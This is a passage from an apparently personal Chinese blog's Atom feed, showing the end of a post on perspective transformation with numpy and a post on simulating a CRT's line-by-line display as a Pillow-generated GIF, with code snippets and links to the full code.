xy&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    b_list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;extend&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;XY&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; g&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; np&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;linalg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;solve&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;A_list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; b_list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;H&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; np&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;array&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;([[&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;], [&lt;&#x2F;span&gt;&lt;span&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;], [&lt;&#x2F;span&gt;&lt;span&gt;g&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; h&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;拿到变换矩阵遍历新图的每一处&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;(X,
Y)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;坐标，再通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;numpy.linalg.solve&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就可以算出变换前的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;(x,
y)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;坐标：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;katex-formula&quot; data-display=&quot;true&quot;&gt; \begin{bmatrix} a &amp;amp; b &amp;amp;
c \\ d &amp;amp; e &amp;amp; f \\ g &amp;amp; h &amp;amp; 1 \end{bmatrix} \begin{bmatrix} x&#x2F;W \\
y&#x2F;W \\ 1&#x2F;W \end{bmatrix} = \begin{bmatrix} X \\ Y \\ 1
\end{bmatrix} &lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;xy1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; np&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;linalg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;solve&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;H&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;, [&lt;&#x2F;span&gt;&lt;span&gt;X&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; Y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; _&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span&gt; xy1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt; xy1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;).&lt;&#x2F;span&gt;&lt;span&gt;astype&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后把原图&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;(x,
y)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;处的灰度值拿来放到新图的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;(X,
Y)&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;处即可（是的，这里没考虑插值啥的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; im&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;shape&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span&gt; y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; im&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;shape&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    newim&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;X&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; Y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;] =&lt;&#x2F;span&gt;&lt;span&gt; im&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;效果图：&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;perspective-transform-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;perspective-transform-fs8.5358e144d12bcce6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;perspective-transform-fs8.b8783eea241bf8fe.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;perspective-transform-fs8.2ee5b088f48ca897.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;perspective-transform-fs8.b8783eea241bf8fe.webp&quot;
	alt=&quot;perspective-transform&quot;
	
	
	height=&quot;927&quot;
	width=&quot;1920&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sinofp&#x2F;dipexp&#x2F;blob&#x2F;master&#x2F;perspective-transform.py&quot;&gt;完整代码在这里&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20150222120106&#x2F;xenia.media.mit.edu&#x2F;~cwren&#x2F;interpolator&#x2F;&quot;&gt;参考了这篇文章&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;perspective_transform
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;perspective_transform&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>创建动图模拟CRT逐行显示</title>
    <published>2019-11-30T23:09:13+08:00</published>
    <updated>2019-11-30T23:09:13+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/crt_gif/" type="text/html" />
    <id>https://emptystack.top/crt_gif/</id>
    <content type="html">
      &lt;p&gt;前些天看见有人慢镜头拍&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CRT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;显示器，才知道原来&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CRT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;某一时刻只显示一行，感觉好酷啊！于是就想着能不能写段程序模拟一下，看看任意图片在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CRT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;逐行显示的效果下是什么样的（没钱买&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CRT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;显示器&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;程序主体就是这个循环：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;frames&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = []&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;box&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; width&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; ROW&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; height&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; ROW&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    region&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; im&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;crop&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;box&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    blank&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; Image&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;im&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;mode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; im&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    blank&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;paste&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;region&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; box&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    frames&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;append&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;blank&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    box&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; box&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;],&lt;&#x2F;span&gt;&lt;span&gt; width&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; box&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; ROW&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; if&lt;&#x2F;span&gt;&lt;span&gt; box&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; ROW&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; height&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span&gt; height&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;裁几行，存起来，裁几行，存起来：先用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;crop&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;根据&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;box&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的左、上、右、下四个参数裁剪图片，然后用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;paste&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;粘贴到新创建的空白（黑色）图片上，再把新图片放到列表里以备保存成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GIF。&lt;&#x2F;p&gt;
&lt;p&gt;因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CRT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;显示器可以&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.pctechguide.com&#x2F;crt-monitors&#x2F;crt-monitor-resolution-and-refresh-rates-vsf&quot;&gt;以
kHz
为单位&lt;&#x2F;a&gt;一行一行显示图像，而现在的显示器顶天以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;480Hz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;整张整张图像显示，要是每帧只显示一行像素没法模拟&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CRT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的视觉残留，所以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ROW&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;其实是个十位数（即每帧显示几十行像素&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;最后结果真的闪瞎眼，所以我折叠了。调小&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ROW&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;FPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以缓解闪烁感，但就没慢放&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CRT&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;内味了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;highbeam_crt.gif&quot;&gt;GIF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;链接在这里&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;如果患有癫痫，或者身体不舒服的话就不要点了）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;sinofp&#x2F;80a6d0eb773827546241f5002eb4c217&quot;&gt;完整代码在这里&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;2019-12-21&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;更新：&lt;&#x2F;p&gt;
&lt;p&gt;GIF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是个烂格式！本身帧与帧的间隔是以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒为单位设置的，但显示器&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;144hz&#x2F;60hz&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的刷新间隔都对不上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒，这就导致基本调不到想要的帧数（之前用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;imageio&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;设置&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;fps=60&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;保存下来的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GIF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pillow&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;读取发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;duration&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;毫秒，就是约到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒的结果&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;另外这程序&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;sinofp&#x2F;a59dc27365f7351b2d2d11e7cb138cc1&quot;&gt;改几行&lt;&#x2F;a&gt;可以把巨长图片转成分页的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PDF：1536×44938&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的图片，想看一眼还得先缩放半天。直接转成一页的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PDF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Edge&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;打开是乱的，火狐能正常打开，但特别糊。怀疑是到了单页分辨率极限了。分页后&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Edge&lt;span 